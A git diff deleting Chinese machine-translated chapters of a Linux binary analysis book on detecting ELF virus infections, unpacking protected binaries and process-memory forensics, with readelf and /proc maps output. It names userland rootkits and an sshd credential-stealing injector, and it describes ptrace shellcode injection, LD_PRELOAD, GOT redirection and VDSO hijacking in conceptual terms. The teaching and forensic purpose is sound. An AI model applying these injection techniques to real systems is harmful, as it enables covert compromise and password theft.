(SYMENT) 24 (bytes) - 0x0000000000000015 (DEBUG) 0x0 - 0x0000000000000003 (PLTGOT) 0x601000 - 0x0000000000000002 (PLTRELSZ) 144 (bytes) - 0x0000000000000014 (PLTREL) RELA - 0x0000000000000017 (JMPREL) 0x400438 - 0x0000000000000007 (RELA) 0x400408 - 0x0000000000000008 (RELASZ) 48 (bytes) - 0x0000000000000009 (RELAENT) 24 (bytes) - 0x000000006ffffffe (VERNEED) 0x4003e8 - 0x000000006fffffff (VERNEEDNUM) 1 - 0x000000006ffffff0 (VERSYM) 0x4003d8 - 0x0000000000000001 (NEEDED) Shared library: [evil.so] - 0x0000000000000000 (NULL) 0x0 -``` - -# 识别反向文本填充感染 - -此是我们在[第 4 章](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses")、*ELF 病毒技术—Linux/Unix 病毒*中讨论过的病毒感染技术。 其思想是,病毒或寄生虫可以通过反向扩展文本段来为其代码留出空间。 如果您知道要查找什么,那么文本段的程序头将看起来很奇怪。 - -让我们来看看一个 ELF 64 位二进制文件,它已经感染了使用这种寄生虫感染方法的病毒: - -```sh -readelf -l ./infected_host1 - -Elf file type is EXEC (Executable file) -Entry point 0x3c9040 -There are 9 program headers, starting at offset 225344 - -Program Headers: - Type Offset VirtAddr PhysAddr - FileSiz MemSiz Flags Align - PHDR 0x0000000000037040 0x0000000000400040 0x0000000000400040 - 0x00000000000001f8 0x00000000000001f8 R E 8 - INTERP 0x0000000000037238 0x0000000000400238 0x0000000000400238 - 0x000000000000001c 0x000000000000001c R 1 - [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] - LOAD 0x0000000000000000 0x00000000003ff000 0x00000000003ff000 - 0x00000000000378e4 0x00000000000378e4 RWE 1000 - LOAD 0x0000000000037e10 0x0000000000600e10 0x0000000000600e10 - 0x0000000000000248 0x0000000000000250 RW 1000 - DYNAMIC 0x0000000000037e28 0x0000000000600e28 0x0000000000600e28 - 0x00000000000001d0 0x00000000000001d0 RW 8 - NOTE 0x0000000000037254 0x0000000000400254 0x0000000000400254 - 0x0000000000000044 0x0000000000000044 R 4 - GNU_EH_FRAME 0x0000000000037744 0x0000000000400744 0x0000000000400744 - 0x000000000000004c 0x000000000000004c R 4 - GNU_STACK 0x0000000000037000 0x0000000000000000 0x0000000000000000 - 0x0000000000000000 0x0000000000000000 RW 10 - GNU_RELRO 0x0000000000037e10 0x0000000000600e10 0x0000000000600e10 - 0x00000000000001f0 0x00000000000001f0 R 1 -``` - -在 Linux x86_64 上,文本段的默认虚拟地址是`0x400000`。 这是因为链接器使用的默认链接器脚本说要这样做。 程序头表(由 PHDR 标记,如上所示)在文件中有 64 个字节,因此将有一个虚拟地址`0x400040`。 通过查看前面输出中的程序头,我们可以看到文本段(第一个 LOAD 行)没有预期的地址; 而是`0x3ff000`。 但是 PHDR 虚拟地址仍然在`0x400040`,这告诉您,原来的文本段地址一度也是这样,这里发生了一些奇怪的事情。 这是因为文本段本质上是向后扩展的,正如我们在[第 4 章](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses"),*ELF 病毒技术- Linux/Unix 病毒*中讨论的那样。 - -![Identifying reverse text padding infections](img/00014.jpeg) - -图示-显示受反向文本感染的可执行文件的示意图 - -以下是受反向文本感染的可执行文件的 ELF 文件头: - -```sh -$ readelf -h ./infected_host1 -ELF Header: - Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 - Class: ELF64 - Data: 2's complement, little endian - Version: 1 (current) - OS/ABI: UNIX - System V - ABI Version: 0 - Type: EXEC (Executable file) - Machine: Advanced Micro Devices X86-64 - Version: 0x1 - Entry point address: 0x3ff040 - Start of program headers: 225344 (bytes into file) - Start of section headers: 0 (bytes into file) - Flags: 0x0 - Size of this header: 64 (bytes) - Size of program headers: 56 (bytes) - Number of program headers: 9 - Size of section headers: 64 (bytes) - Number of section headers: 0 - Section header string table index: 0 -``` - -我有突出显示的一切在 ELF 头是有问题的: - -* 进入点进入寄生虫区域 -* 程序头文件的开始应该只有 64 字节 -* Section 头表的偏移量为 0,就像在 strip 中一样 - -# 识别文本段填充感染 - -这种型感染比较容易检测。 这种类型的感染也在[第 4 章](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses")、*ELF 病毒技术- Linux/Unix 病毒*中进行了讨论。 这种技术依赖于这样一个事实:文本和数据段之间总是至少有 4,096 个字节,因为它们作为两个独立的内存段加载到内存中,而且内存映射总是页面对齐的。 - -在 64 位系统上,由于**PSE**(**页面大小扩展**)页面,通常会有`0x200000`(2MB)空闲。 这意味着可以用 2MB 的寄生体插入 64 位 ELF 二进制文件,这比注入空间通常需要的体积大得多。 对于这种类型的感染,就像任何其他类型的感染一样,您通常可以通过检查控制流来确定寄生虫的位置。 - -例如,对于我在 2008 年编写的`lpv`病毒,将入口点修改为在使用文本段填充感染插入的寄生体处开始执行。 如果被感染的可执行文件具有段头表,则您将看到入口点地址位于文本段的最后一段范围内。 让我们看一下使用这种技术感染的 32 位 ELF 可执行文件。 - -![Identifying text segment padding infections](img/00015.jpeg) - -插图-显示文本段填充感染的图表 - -以下是被感染的`lpv`文件的 ELF 文件头: - -```sh -$ readelf -h infected.lpv -ELF Header: - Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 - Class: ELF32 - Data: 2's complement, little endian - Version: 1 (current) - OS/ABI: UNIX - System V - ABI Version: 0 - Type: EXEC (Executable file) - Machine: Intel 80386 - Version: 0x1 - Entry point address: 0x80485b8 - Start of program headers: 52 (bytes into file) - Start of section headers: 8524 (bytes into file) - Flags: 0x0 - Size of this header: 52 (bytes) - Size of program headers: 32 (bytes) - Number of program headers: 9 - Size of section headers: 40 (bytes) - Number of section headers: 30 - Section header string table index: 27 -``` - -注意入口地址`0x80485b8`。 这个地址是否位于`.text`部分内? 让我们来看看 section 头表并找出答案。 - -以下是被感染的`lpv`文件的 ELF 节头: - -```sh -$ readelf -S infected.lpv -There are 30 section headers, starting at offset 0x214c: - -Section Headers: - [Nr] Name Type Addr Off - Size ES Flg Lk Inf Al - [ 0] NULL 00000000 000000 - 000000 00 0 0 0 - [ 1] .interp PROGBITS 08048154 000154 - 000013 00 A 0 0 1 - [ 2] .note.ABI-tag NOTE 08048168 000168 - 000020 00 A 0 0 4 - [ 3] .note.gnu.build-i NOTE 08048188 000188 - 000024 00 A 0 0 4 - [ 4] .gnu.hash GNU_HASH 080481ac 0001ac - 000020 04 A 5 0 4 - [ 5] .dynsym DYNSYM 080481cc 0001cc - 000050 10 A 6 1 4 - [ 6] .dynstr STRTAB 0804821c 00021c - 00004a 00 A 0 0 1 - [ 7] .gnu.version VERSYM 08048266 000266 - 00000a 02 A 5 0 2 - [ 8] .gnu.version_r VERNEED 08048270 000270 - 000020 00 A 6 1 4 - [ 9] .rel.dyn REL 08048290 000290 - 000008 08 A 5 0 4 - [10] .rel.plt REL 08048298 000298 - 000018 08 A 5 12 4 - [11] .init PROGBITS 080482b0 0002b0 - 000023 00 AX 0 0 4 - [12] .plt PROGBITS 080482e0 0002e0 - 000040 04 AX 0 0 16 - - [13] .text PROGBITS 08048320 000320 - 000192 00 AX 0 0 16 - [14] .fini PROGBITS 080484b4 0004b4 - 000014 00 AX 0 0 4 - [15] .rodata PROGBITS 080484c8 0004c8 - 000014 00 A 0 0 4 - [16] .eh_frame_hdr PROGBITS 080484dc 0004dc - 00002c 00 A 0 0 4 - [17] .eh_frame PROGBITS 08048508 000508 - 00083b 00 A 0 0 4 - [18] .init_array INIT_ARRAY 08049f08 001f08 - 000004 00 WA 0 0 4 - [19] .fini_array FINI_ARRAY 08049f0c 001f0c - 000004 00 WA 0 0 4 - [20] .jcr PROGBITS 08049f10 001f10 - 000004 00 WA 0 0 4 - [21] .dynamic DYNAMIC 08049f14 001f14 - 0000e8 08 WA 6 0 4 - [22] .got PROGBITS 08049ffc 001ffc - 000004 04 WA 0 0 4 - [23] .got.plt PROGBITS 0804a000 002000 - 000018 04 WA 0 0 4 - [24] .data PROGBITS 0804a018 002018 - 000008 00 WA 0 0 4 - [25] .bss NOBITS 0804a020 002020 - 000004 00 WA 0 0 1 - [26] .comment PROGBITS 00000000 002020 - 000024 01 MS 0 0 1 - [27] .shstrtab STRTAB 00000000 002044 - 000106 00 0 0 1 - [28] .symtab SYMTAB 00000000 0025fc - 000430 10 29 45 4 - [29] .strtab STRTAB 00000000 002a2c - 00024f 00 0 0 1 -``` - -入口点地址位于`.eh_frame`部分,即文本段的最后一个部分。 这显然是不够的`.text`部分原因立即变得可疑,因为`.eh_frame`部分是文本中的最后一节段(您可以验证通过使用`readelf -l`),我们能够推断出这种病毒感染可能是使用文本段填充感染。 以下是被感染的`lpv`文件的 ELF 程序头: - -```sh -$ readelf -l infected.lpv - -Elf file type is EXEC (Executable file) -Entry point 0x80485b8 -There are 9 program headers, starting at offset 52 - -Program Headers: - Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align - PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 - INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 - [Requesting program interpreter: /lib/ld-linux.so.2] - LOAD 0x000000 0x08048000 0x08048000 0x00d43 0x00d43 R E 0x1000 - LOAD 0x001f08 0x08049f08 0x08049f08 0x00118 0x0011c RW 0x1000 - DYNAMIC 0x001f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW 0x4 - NOTE 0x001168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 - GNU_EH_FRAME 0x0014dc 0x080484dc 0x080484dc 0x0002c 0x0002c R 0x4 - GNU_STACK 0x001000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10 - GNU_RELRO 0x001f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1 - - Section to Segment mapping: - Segment Sections... - 00 - 01 .interp - 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame - 03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss - 04 .dynamic - 05 - 06 - 07 - 08 .init_array .fini_array .jcr .dynamic .got -``` - -基于前面程序头输出中突出显示的所有内容,您可以看到程序入口点、文本段(第一个`LOAD`程序头)以及`.eh_frame`是文本段的最后一段。 - -# 标识受保护的二进制文件 - -识别受保护二进制文件是对其进行反向工程的第一步。 我们在[第五章](5.html#1ENBI1-1d4163ae11644cc2802846625b2dc985 "Chapter 5. Linux Binary Protection")、*Linux 二进制保护*中讨论了受保护 ELF 可执行文件的常见解剖。 记住我们所知道的,一个受保护的二进制文件实际上是两个合并在一起的可执行文件:你有存根可执行文件(解密程序),然后是目标可执行文件。 - -一个程序负责解密另一个程序,而这个程序通常是包装器,包装或包含一个加密的二进制文件,作为分类的有效负载。 标识这个我们称为存根的外部程序通常非常容易,因为您将在程序头表中看到明显的奇怪之处。 - -让我们来看看一个 64 位 ELF 二进制文件,它是用我在 2009 年写的一个名为`elfcrypt`的保护程序来保护的: - -```sh -$ readelf -l test.elfcrypt - -Elf file type is EXEC (Executable file) -Entry point 0xa01136 -There are 2 program headers, starting at offset 64 - -Program Headers: - Type Offset VirtAddr PhysAddr - FileSiz MemSiz Flags Align - LOAD 0x0000000000000000 0x0000000000a00000 0x0000000000a00000 - 0x0000000000002470 0x0000000000002470 R E 1000 - LOAD 0x0000000000003000 0x0000000000c03000 0x0000000000c03000 - 0x000000000003a23f 0x000000000003b4df RW 1000 -``` - -我们在这里看到了什么? 或者说我们没有看到什么? - -这看起来就像一个静态编译的可执行文件,因为没有`PT_DYNAMIC`段,也没有`PT_INTERP`段。 但是,如果我们运行这个二进制文件并检查`/proc/$pid/maps,`,我们会发现这不是一个静态编译的二进制文件,而是动态链接的。 - -以下是`/proc/$pid/maps`在受保护二进制文件中的输出: - -```sh -7fa7e5d44000-7fa7e9d43000 rwxp 00000000 00:00 0 -7fa7e9d43000-7fa7ea146000 rw-p 00000000 00:00 0 -7fa7ea146000-7fa7ea301000 r-xp 00000000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so7fa7ea301000-7fa7ea500000 ---p 001bb000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fa7ea500000-7fa7ea504000 r--p 001ba000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fa7ea504000-7fa7ea506000 rw-p 001be000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fa7ea506000-7fa7ea50b000 rw-p 00000000 00:00 0 -7fa7ea530000-7fa7ea534000 rw-p 00000000 00:00 0 -7fa7ea535000-7fa7ea634000 rwxp 00000000 00:00 0 [stack:8176] -7fa7ea634000-7fa7ea657000 rwxp 00000000 00:00 0 -7fa7ea657000-7fa7ea6a1000 r--p 00000000 08:01 11406093 /lib/x86_64-linux-gnu/ld-2.19.so -7fa7ea6a1000-7fa7ea6a5000 rw-p 00000000 00:00 0 -7fa7ea856000-7fa7ea857000 r--p 00000000 00:00 0 -``` - -我们可以清楚地看到,动态连接器被映射到进程地址空间,libc 也是。 正如在[第五章](5.html#1ENBI1-1d4163ae11644cc2802846625b2dc985 "Chapter 5. Linux Binary Protection"),*Linux 二进制保护*中讨论的,这是因为保护存根负责加载动态连接器和设置辅助向量。 - -从程序头输出中,我们还可以看到文本段地址是`0xa00000`,这是不寻常的。 在 x86_64 Linux 中用于编译可执行文件的默认链接器脚本将文本地址定义为`0x400000`,而在 32 位系统中则定义为`0x8048000`。 拥有一个非默认的文本地址本身并不意味着任何恶意行为,但会立即引起怀疑。 在二进制保护程序的情况下,存根必须有一个不与它所保护的自嵌入可执行文件的虚拟地址冲突的虚拟地址。 - -## 分析受保护的二进制文件 - -正确的二进制保护方案,真正做得很好,将不是很容易规避,但在大多数情况下,你可以使用一些中间反向工程的努力,以通过加密层。 存根负责解密其中的自嵌入的可执行文件,因此可以从内存中提取。 诀窍是允许存根运行足够长的时间,以便将加密的可执行文件映射到内存中并解密它。 - -可以使用一种非常通用的算法来处理简单的保护程序,特别是当它们不包含任何反调试技术时。 - -1. 确定存根文本段中大概的指令数,用 N 表示。 -2. 跟踪程序的 N 个指令。 -3. 从文本段的预期位置(例如,`0x400000`)转储内存,并使用新发现的文本段的程序头来定位其数据段。 - -可以用我在 2008 年编写的 32 位 ELF 操作软件 Quenya 来演示这种简单技术的一个好例子。 - -### 注意事项 - -UPX 不使用反调试技术,因此解包相对简单。 - -以下是打包的可执行文件的程序头: - -```sh -$ readelf -l test.packed - -Elf file type is EXEC (Executable file) -Entry point 0xc0c500 -There are 2 program headers, starting at offset 52 - -Program Headers: - Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align - LOAD 0x000000 0x00c01000 0x00c01000 0x0bd03 0x0bd03 R E 0x1000 - LOAD 0x000f94 0x08063f94 0x08063f94 0x00000 0x00000 RW 0x1000 -``` - -我们可以看到存根从`0xc01000`开始,而 Quenya 假定真实的文本段位于 32 位 ELF 可执行文件`0x8048000`的预期地址。 - -下面是昆雅使用的 unpack 功能解压`test.packed`: - -```sh -$ quenya - -Welcome to Quenya v0.1 -- the ELF modification and analysis tool -Designed and maintained by ElfMaster - -Type 'help' for a list of commands -[Quenya v0.1@workshop] unpack test.packed test.unpacked -Text segment size: 48387 bytes -[+] Beginning analysis for executable reconstruction of process image (pid: 2751) -[+] Getting Loadable segment info... -[+] Found loadable segments: text segment, data segment -[+] text_vaddr: 0x8048000 text_offset: 0x0 -[+] data_vaddr: 0x8062ef8 data_offset: 0x19ef8 -[+] Dynamic segment location successful -[+] PLT/GOT Location: Failed -[+] Could not locate PLT/GOT within dynamic segment; attempting to skip PLT patches... -Opening output file: test.unpacked -Successfully created executable -``` - -正如我们所看到的,Quenya 解包特性已经解包了 UPX 打包的可执行文件。 我们可以通过查看未打包的可执行文件的程序头来验证这一点: - -```sh -readelf -l test.unpacked - -Elf file type is EXEC (Executable file) -Entry point 0x804c041 -There are 9 program headers, starting at offset 52 - -Program Headers: - Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align - PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 - INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 - [Requesting program interpreter: /lib/ld-linux.so.2] - LOAD 0x000000 0x08048000 0x08048000 0x19b80 0x19b80 R E 0x1000 - LOAD 0x019ef8 0x08062ef8 0x08062ef8 0x00448 0x0109c RW 0x1000 - DYNAMIC 0x019f04 0x08062f04 0x08062f04 0x000f8 0x000f8 RW 0x4 - NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 - GNU_EH_FRAME 0x016508 0x0805e508 0x0805e508 0x00744 0x00744 R 0x4 - GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10 - GNU_RELRO 0x019ef8 0x08062ef8 0x08062ef8 0x00108 0x00108 R 0x1 -``` - -请注意,当可执行文件仍然被打包时,程序头文件与我们之前看到的完全不同。 这是因为我们不再查看存根可执行文件。 我们正在查看在存根中压缩的可执行文件。 我们使用的解包技术是非常通用的,对于更复杂的保护方案不是很有效,但可以帮助初学者了解反转受保护二进制文件的过程。 - -# IDA Pro - -由于本书试图集中分析 ELF 格式,以及分析和补丁技术背后的概念,所以我们很少关注要使用哪些花哨的工具。 非常著名的 IDA Pro 软件拥有实至名归的声誉。 它是现成的最好的反汇编器和反编译器。 但它很昂贵,除非你能负担得起许可证,否则你可能会接受一些不那么有效的东西,比如 Hopper。 IDA 职业本身相当复杂,需要一整本书,但是为了正确理解和使用 IDA Pro 精灵二进制文件,最好首先理解概念教在这本书中,它们可以应用在使用 IDA 支持逆向工程软件。 - -# 总结 - -在本章中,您学习了 ELF 二进制分析的基本原理。 您检查了识别各种类型的病毒感染、功能劫持和二进制保护所涉及的过程。 本章将很好地帮助你在 ELF 二进制分析的初级到中级阶段:寻找什么以及如何识别它。 在接下来的章节中,您将涵盖类似的概念,例如分析进程内存以识别异常(如后门和内存驻留病毒)。 - -对于那些有兴趣知道在本章中描述的方法如何被用于开发反病毒或检测软件的人来说,确实有一些我设计的工具使用了与本章中描述的类似的启发式来检测 ELF 感染。 其中一个工具叫做 AVU,在[第 4 章](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses")、*ELF 病毒技术- Linux/Unix 病毒*中有一个下载链接。 另一个叫阿卡那,仍然是私人的。 我个人还没有看到市场上有任何公共产品在 ELF 二进制文件上使用这些类型的启发式方法,尽管这些工具非常需要来帮助 Linux 二进制文件取证。 在[第八章](8.html#26I9K1-1d4163ae11644cc2802846625b2dc985 "Chapter 8. ECFS – Extended Core File Snapshot Technology"),*ecf——扩展核心文件快照技术*,我们将探索 ecf,这是一个技术我一直致力于帮助提高取证能力缺失的一些地区,特别是当它属于进程内存取证。 \ No newline at end of file diff --git a/docs/learn-linux-bin-anal/7.md b/docs/learn-linux-bin-anal/7.md deleted file mode 100644 index afc4c423..00000000 --- a/docs/learn-linux-bin-anal/7.md +++ /dev/null @@ -1,733 +0,0 @@ -# 七、进程内存取证 - -在前一章中,我们研究了在 Linux 中分析 ELF 二进制文件的关键方法和方法,特别是当涉及恶意软件时,以及检测可执行代码中存在寄生虫的方法。 - -就像攻击者可能给磁盘上的二进制文件打补丁一样,他们也可能给内存中正在运行的程序打补丁以实现类似的目标,同时避免被寻找文件修改的程序(如 tripwire)检测到。 这种进程映像的热补丁可以用于劫持函数、注入共享库、执行寄生 shell 代码等等。 这些类型的感染通常是内存驻留后门、病毒、键记录程序和隐藏进程所需要的组件。 - -### 注意事项 - -攻击者可以运行复杂的程序,这些程序隐藏在现有的进程地址空间中运行。 这已经在 Saruman v0.1 中得到了验证,可以在[http://www.bitlackeys.org/#saruman](http://www.bitlackeys.org/#saruman)中找到。 - -执行取证或运行时分析时对进程映像的检查与查看常规 ELF 二进制文件非常相似。 在进程地址空间中有更多的段和整体的移动片段,ELF 可执行文件将经历一些更改,例如运行时重定位、段对齐和.bss 扩展。 - -然而,实际上,ELF 可执行程序和实际运行的程序的调查步骤非常相似。 正在运行的程序最初是由装入地址空间的 ELF 映像创建的。 因此,理解 ELF 格式将有助于理解进程在内存中的外观。 - -# 流程是什么样子的? - -在任何 Linux 系统上,一个重要的文件都是`/proc/$pid/maps`文件。 这个文件显示了一个运行程序的整个进程地址空间,为了确定进程中某些文件或内存映射的位置,我经常解析它。 - -在带有 Grsecurity 补丁的 Linux 内核中,有一个名为**GRKERNSEC_PROC_MEMMAP**的内核选项,如果启用该选项,将会将`/proc/$pid/maps`文件归零,这样您就看不到地址空间值。 这使得从外部解析进程更加困难,您必须依赖其他技术,例如解析 ELF 头并从那里开始。 - -### 注意事项 - -在下一章,我们将讨论**ecf**(**扩展核心文件快照**)格式,这是一个新的 ELF 文件格式扩展规律的核心文件,并包含大量的 forensics-relevant 数据。 - -下面是`the hello_world`程序的进程内存布局的示例: - -```sh -$ cat /proc/`pidof hello_world`/maps -00400000-00401000 r-xp 00000000 00:1b 8126525 /home/ryan/hello_world -00600000-00601000 r--p 00000000 00:1b 8126525 /home/ryan/hello_world -00601000-00602000 rw-p 00001000 00:1b 8126525 /home/ryan/hello_world -0174e000-0176f000 rw-p 00000000 00:00 0 [heap] -7fed9c5a7000-7fed9c762000 r-xp 00000000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fed9c762000-7fed9c961000 ---p 001bb000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fed9c961000-7fed9c965000 r--p 001ba000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fed9c965000-7fed9c967000 rw-p 001be000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fed9c967000-7fed9c96c000 rw-p 00000000 00:00 0 -7fed9c96c000-7fed9c98f000 r-xp 00000000 08:01 11406093 /lib/x86_64-linux-gnu/ld-2.19.so -7fed9cb62000-7fed9cb65000 rw-p 00000000 00:00 0 -7fed9cb8c000-7fed9cb8e000 rw-p 00000000 00:00 0 -7fed9cb8e000-7fed9cb8f000 r--p 00022000 08:01 11406093 /lib/x86_64-linux-gnu/ld-2.19.so -7fed9cb8f000-7fed9cb90000 rw-p 00023000 08:01 11406093 /lib/x86_64-linux-gnu/ld-2.19.so -7fed9cb90000-7fed9cb91000 rw-p 00000000 00:00 0 -7fff0975f000-7fff09780000 rw-p 00000000 00:00 0 [stack] -7fff097b2000-7fff097b4000 r-xp 00000000 00:00 0 [vdso] -ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] -``` - -上面的映射文件输出显示了一个非常简单的`Hello World`程序的进程地址空间。 让我们分成几个部分,解释每一部分。 - -## 可执行内存映射 - -前三行是可执行文件本身的内存映射。 这是非常明显的,因为它在文件映射的末尾显示了可执行路径: - -```sh -00400000-00401000 r-xp 00000000 00:1b 8126525 /home/ryan/hello_world -00600000-00601000 r--p 00000000 00:1b 8126525 /home/ryan/hello_world -00601000-00602000 rw-p 00001000 00:1b 8126525 /home/ryan/hello_world -``` - -我们可以看到: - -* 第一行是文本段,这很容易分辨,因为权限是读取加执行的 -* 第二行是数据段的第一部分,由于 RELRO(只读重定位)安全保护,它被标记为只读 -* 第三个映射是数据段的剩余部分,仍然是可写的 - -## 程序堆 - -堆通常在数据段之后增长。 在 ASLR 存在之前,它是从数据段地址的末尾开始扩展的。 现在,堆段是随机内存映射的,但它可以在数据段结束后的*maps*文件中找到: - -```sh -0174e000-0176f000 rw-p 00000000 00:00 0 [heap] -``` - -当调用`malloc()`请求大小超过`MMAP_THRESHOLD`的内存块时,可能会创建匿名内存映射。 这些类型的匿名内存段不会被标记为`[heap]`标签。 - -## 共享库映射 - -接下来的四行是共享库`libc-2.19.so`的内存映射。 注意,在文本和数据段之间有一个标记为没有权限的内存映射。 这只是为了占用该区域的空间,以便不会创建其他任意内存映射来使用文本和数据段之间的空间: - -```sh -7fed9c5a7000-7fed9c762000 r-xp 00000000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fed9c762000-7fed9c961000 ---p 001bb000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fed9c961000-7fed9c965000 r--p 001ba000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fed9c965000-7fed9c967000 rw-p 001be000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -``` - -除了常规的共享库之外,还有动态链接器,它在技术上也是一个共享库。 通过查看`libc`映射之后的文件映射,我们可以看到它被映射到地址空间: - -```sh -7fed9c96c000-7fed9c98f000 r-xp 00000000 08:01 11406093 /lib/x86_64-linux-gnu/ld-2.19.so -7fed9cb62000-7fed9cb65000 rw-p 00000000 00:00 0 -7fed9cb8c000-7fed9cb8e000 rw-p 00000000 00:00 0 -7fed9cb8e000-7fed9cb8f000 r--p 00022000 08:01 11406093 /lib/x86_64-linux-gnu/ld-2.19.so -7fed9cb8f000-7fed9cb90000 rw-p 00023000 08:01 11406093 /lib/x86_64-linux-gnu/ld-2.19.so -7fed9cb90000-7fed9cb91000 rw-p 00000000 00:00 0 -``` - -## 堆栈、vdso 和 vsycall - -在映射文件的末尾,你会看到堆栈段,然后是**VDSO**(简称**虚拟动态共享对象**)和 vsyscall: - -```sh -7fff0975f000-7fff09780000 rw-p 00000000 00:00 0 [stack] -7fff097b2000-7fff097b4000 r-xp 00000000 00:00 0 [vdso] -ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] -``` - -VDSO 由`glibc`使用来调用某些经常调用的系统调用,否则会产生性能问题。 VDSO 通过在用户域中执行某些系统调用来加速这一过程。 vsycall 页面在 x86_64 上已弃用,但在 32 位上,它实现的功能与 VDSO 相同。 - -![The stack, vdso, and vsyscall](img/00016.jpeg) - -这个过程是什么样的 - -# 进程内存感染 - -有许多 rootkit、病毒、后门和其他工具可以用来感染系统的用户空间内存。 现在我们将命名和描述其中的一些。 - -## 进程感染工具 - -* Azazel:这是一个简单的但有效的`LD_PRELOAD`注入的 Linux 用户 land rootkit,它是基于其前身名为 Jynx 的 rootkit。 rootkit 将把一个共享对象预载到你想要感染的程序中。 通常,这样的 rootkit 会劫持诸如打开、读、写等功能。 这些被劫持的函数将显示为 PLT 钩子(修改后的 GOT)。 欲了解更多信息,请访问[https://github.com/chokepoint/azazel](https://github.com/chokepoint/azazel)。 -* **Saruman**:这是一种相对较新的反取证感染技术,允许用户将一个完整的动态链接的可执行文件注入到现有进程中。 被注入者和被注入者都将在相同的地址空间内并发运行。 这允许隐蔽和高级远程进程感染。 更多信息请访问[https://github.com/elfmaster/saruman](https://github.com/elfmaster/saruman)。 -* **sshd_fuck (phrack .so injection paper)**:`sshd_fucker`is the software thatcomeswith the phrack 59 paper*Runtime process infection* 该软件感染了 sshd 进程,并劫持了传递用户名和密码的 PAM 函数。 欲了解更多信息,请访问[http://phrack.org/issues/59/8.html](http://phrack.org/issues/59/8.html) - -## 工艺感染技术 - -过程感染是什么意思? 就我们的目的而言,它意味着描述将代码注入进程、劫持函数、劫持控制流以及使分析更加困难的反取证技巧的方法。 其中许多技术已在[第 4 章](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses")、*ELF 病毒技术- Linux/Unix 病毒*中介绍,但我们将在此简要介绍其中一些技术。 - -### 注射方法 - -* **ET_DYN (shared object) injection**: This is accomplished using the `ptrace()` system call and shellcode that uses either the `mmap()` or `__libc_dlopen_mode()` function to load the shared library file. A shared object might not be a shared object at all; it may be a PIE executable, as with the Saruman infection technique, which is a form of anti-forensics for allowing a program to run inside of an existing process address space. This technique is what I call **process cloaking**. - - ### 注意事项 - - `LD_PRELOAD`是另一个将恶意共享库加载到进程地址空间以劫持共享库函数的常见技巧。 这可以通过验证 PLT/GOT 来检测。 还可以分析堆栈上的环境变量,以确定是否设置了`LD_PRELOAD`。 - -* **ET_REL (relocatable object)注入**:这里的思想是将一个可重定位的对象文件注入到进程中,用于高级的热补丁技术。 可以使用 ptrace 系统调用(或使用`ptrace()`的程序,如 GDB)将 shell 代码注入到进程中,进而将目标文件映射到内存中。 -* **PIC 代码(shellcode)注入**:注入 shell 代码到进程通常是通过 ptrace 完成的。 通常,shellcode 是将更复杂的代码(如`ET_DYN`和`ET_REL`文件)注入进程的第一步。 - -### 劫持执行技术 - -* **PLT/GOT 重定向**:劫持共享库函数通常是通过修改给定共享库的 GOT 条目来实现的,这样地址就反映了攻击者注入代码的位置。 这本质上和重写函数指针是一样的。 我们将在本章后面讨论检测这个的方法。 -* **内嵌函数挂起**:这种方法也称为**函数蹦床**,在磁盘和内存中都很常见。 攻击者可以用`jmp`指令替换函数中的前 5 到 7 字节代码,将控制转移给恶意函数。 通过扫描每个函数的初始字节码,可以很容易地检测到这一点。 -* **打补丁的.ctors 和.dtors**:二进制(可在内存中定位)的.ctors 和.dtors 部分包含用于初始化和终结函数的函数指针数组。 攻击者可以在磁盘和内存中修补这些漏洞,使它们指向寄生代码。 -* **劫持 VDSO 用于系统调用拦截**:映射到进程地址空间的 VDSO 页包含调用系统调用的代码。 攻击者可以使用`ptrace(PTRACE_SYSCALL, …)`定位此代码,然后将**%rax**寄存器替换为他们想要调用的系统调用号。 这个允许一个聪明的攻击者在一个进程中调用任何他们想要的系统调用,而不需要注入 shell 代码。 看看我 2009 年写的这篇论文; 在[http://vxheaven.org/lib/vrn00.html](http://vxheaven.org/lib/vrn00.html)中详细描述了该技术。 - -# ET_DYN 注入检测 